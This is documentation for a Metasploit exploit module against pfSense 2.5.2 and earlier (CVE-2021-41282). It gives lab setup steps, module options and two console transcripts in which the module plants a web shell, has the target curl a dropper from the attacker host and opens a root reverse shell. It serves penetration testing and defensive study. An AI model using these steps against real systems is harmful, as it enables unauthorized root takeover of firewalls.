PageRenderTime 38ms CodeModel.GetById 14ms RepoModel.GetById 0ms app.codeStats 0ms

/documentation/modules/exploit/unix/http/pfsense_diag_routes_webshell.md

https://github.com/rapid7/metasploit-framework
Markdown | 162 lines | 125 code | 37 blank | 0 comment | 0 complexity | 783788c64727cfa8b9fbb0dcee26d9fa MD5 | raw file
  1. ## Vulnerable Application
  2. ### Description
  3. This module exploits an arbitrary file creation vulnerability in the pfSense HTTP interface
  4. (CVE-2021-41282). The vulnerability affects versions <= 2.5.2 and can be exploited by an
  5. authenticated user if they have the "WebCfg - Diagnostics: Routing tables" privilege.
  6. This module uses the vulnerability to create a web shell and execute payloads with root privileges.
  7. ### Installation
  8. Download an affected version's ISO. For example, pfSense 2.5.2 can be download here:
  9. https://nyifiles.netgate.com/mirror/downloads/pfSense-CE-2.5.2-RELEASE-amd64.iso.gz
  10. * Follow the [installation guide](https://docs.netgate.com/pfsense/en/latest/install/install-pfsense.html) to get an initial base install.
  11. * Log into the web interface using the credentials `admin:pfsense`
  12. * Run through the [setup wizard](https://docs.netgate.com/pfsense/en/latest/config/setup-wizard.html).
  13. To test a user that *only* has the `WebCfg - Diagnostics: Routing tables` privilege, as an
  14. `admin` create a new user. The add user interface is in the `System` -> `User Manager` page.
  15. Select the `Add` user button and create the user. Once the user is created, edit the user
  16. and `Add` an `Effective Privilege`. Only assign `WebCfg - Diagnostics: Routing tables`. Done!
  17. ## Verification Steps
  18. * Follow the installation instructions above
  19. * Do: `use exploit/unix/http/pfsense_diag_routes_webshell`
  20. * Do: `set username <name>`
  21. * Do: `set password <password>`
  22. * Do: `set RHOST <ip>`
  23. * Do: `check`
  24. * Verify the remote target is flagged as vulnerable
  25. * Do: `set LHOST <ip>`
  26. * Do: `exploit`
  27. * You should get a reverse shell
  28. ## Options
  29. ### TARGETURI
  30. Specifies base URI. The default value is `/`.
  31. ### USERNAME
  32. The username to log in to the pfSense web interface with. The default is `admin`.
  33. ### PASSWORD
  34. The password to log in with. Set to `pfsense` by default.
  35. ### WEBSHELL_NAME
  36. Allows the user to name the webshell. If the user doesn't provided a name then one will be automatically generated.
  37. Set to `nil` by default.
  38. ### DELETE_WEBSHELL
  39. Indicates if the web shell should be deleted after reverse shell is established. A user may want to leave behind a
  40. web shell for persistence reasons. The default is `true`.
  41. ### Target 0
  42. Target 0 is a `CMD_ARCH` reverse shell using openssl.
  43. ### Target 1
  44. Target 1 is a `bsd/x64` reverse shell using the curl command stager.
  45. ## Scenarios
  46. ### pfSense 2.5.2. Reverse shell using openssl cmd_arch payload.
  47. ```
  48. msf6 > use exploit/unix/http/pfsense_diag_routes_webshell
  49. [*] Using configured payload bsd/x64/shell_reverse_tcp
  50. msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only
  51. USERNAME => diag_only
  52. msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1
  53. PASSWORD => labpass1
  54. msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10
  55. RHOST => 10.0.0.10
  56. msf6 exploit(unix/http/pfsense_diag_routes_webshell) > check
  57. [!] This exploit may require manual cleanup of '/usr/local/www/HFkrB' on the target
  58. [+] 10.0.0.10:80 - The target is vulnerable.
  59. msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2
  60. LHOST => 10.0.0.2
  61. msf6 exploit(unix/http/pfsense_diag_routes_webshell) > run
  62. [*] Started reverse TCP handler on 10.0.0.2:4444
  63. [*] Running automatic check ("set AutoCheck false" to disable)
  64. [+] The target is vulnerable.
  65. [*] Uploading webshell to /dgGNIYHKgUL.php
  66. [*] Testing if web shell installation was successful
  67. [+] Web shell installed at /dgGNIYHKgUL.php
  68. [*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp
  69. [*] Using URL: http://0.0.0.0:8080/kDumgxJC
  70. [*] Local IP: http://10.0.0.2:8080/kDumgxJC
  71. [*] Client 10.0.0.10 (curl/7.76.1) requested /kDumgxJC
  72. [*] Sending payload to 10.0.0.10 (curl/7.76.1)
  73. [*] Command Stager progress - 100.00% done (109/109 bytes)
  74. [+] Deleted /usr/local/www/hrCcgfpdiGhC
  75. [+] Deleted /usr/local/www/dgGNIYHKgUL.php
  76. [*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.10:57590 ) at 2022-02-27 18:08:12 -0800
  77. [*] Server stopped.
  78. id
  79. uid=0(root) gid=0(wheel) groups=0(wheel)
  80. pwd
  81. /usr/local/www
  82. uname -a
  83. FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense amd64
  84. ```
  85. ### pfSense 2.5.2. Reverse shell using bsd reverse shell and curl command stager.
  86. ```
  87. msf6 > use exploit/unix/http/pfsense_diag_routes_webshell
  88. [*] Using configured payload bsd/x64/shell_reverse_tcp
  89. msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only
  90. USERNAME => diag_only
  91. msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1
  92. PASSWORD => labpass1
  93. msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10
  94. RHOST => 10.0.0.10
  95. msf6 exploit(unix/http/pfsense_diag_routes_webshell) > check
  96. [!] This exploit may require manual cleanup of '/usr/local/www/QEpijnAPnpu' on the target
  97. [+] 10.0.0.10:80 - The target is vulnerable.
  98. msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2
  99. LHOST => 10.0.0.2
  100. msf6 exploit(unix/http/pfsense_diag_routes_webshell) > run
  101. [*] Started reverse TCP handler on 10.0.0.2:4444
  102. [*] Running automatic check ("set AutoCheck false" to disable)
  103. [+] The target is vulnerable.
  104. [*] Uploading webshell to /xsYZjKyayH.php
  105. [*] Testing if web shell installation was successful
  106. [+] Web shell installed at /xsYZjKyayH.php
  107. [*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp
  108. [*] Using URL: http://0.0.0.0:8080/eUKIs9nMdZP2t
  109. [*] Local IP: http://10.0.0.2:8080/eUKIs9nMdZP2t
  110. [*] Client 10.0.0.10 (curl/7.76.1) requested /eUKIs9nMdZP2t
  111. [*] Sending payload to 10.0.0.10 (curl/7.76.1)
  112. [*] Command Stager progress - 100.00% done (114/114 bytes)
  113. [+] Deleted /usr/local/www/MkTcoNc
  114. [+] Deleted /usr/local/www/xsYZjKyayH.php
  115. [*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.10:1879 ) at 2022-02-27 17:55:51 -0800
  116. [*] Server stopped.
  117. id
  118. uid=0(root) gid=0(wheel) groups=0(wheel)
  119. whoami
  120. root
  121. pwd
  122. /usr/local/www
  123. uname -a
  124. FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense amd64
  125. ```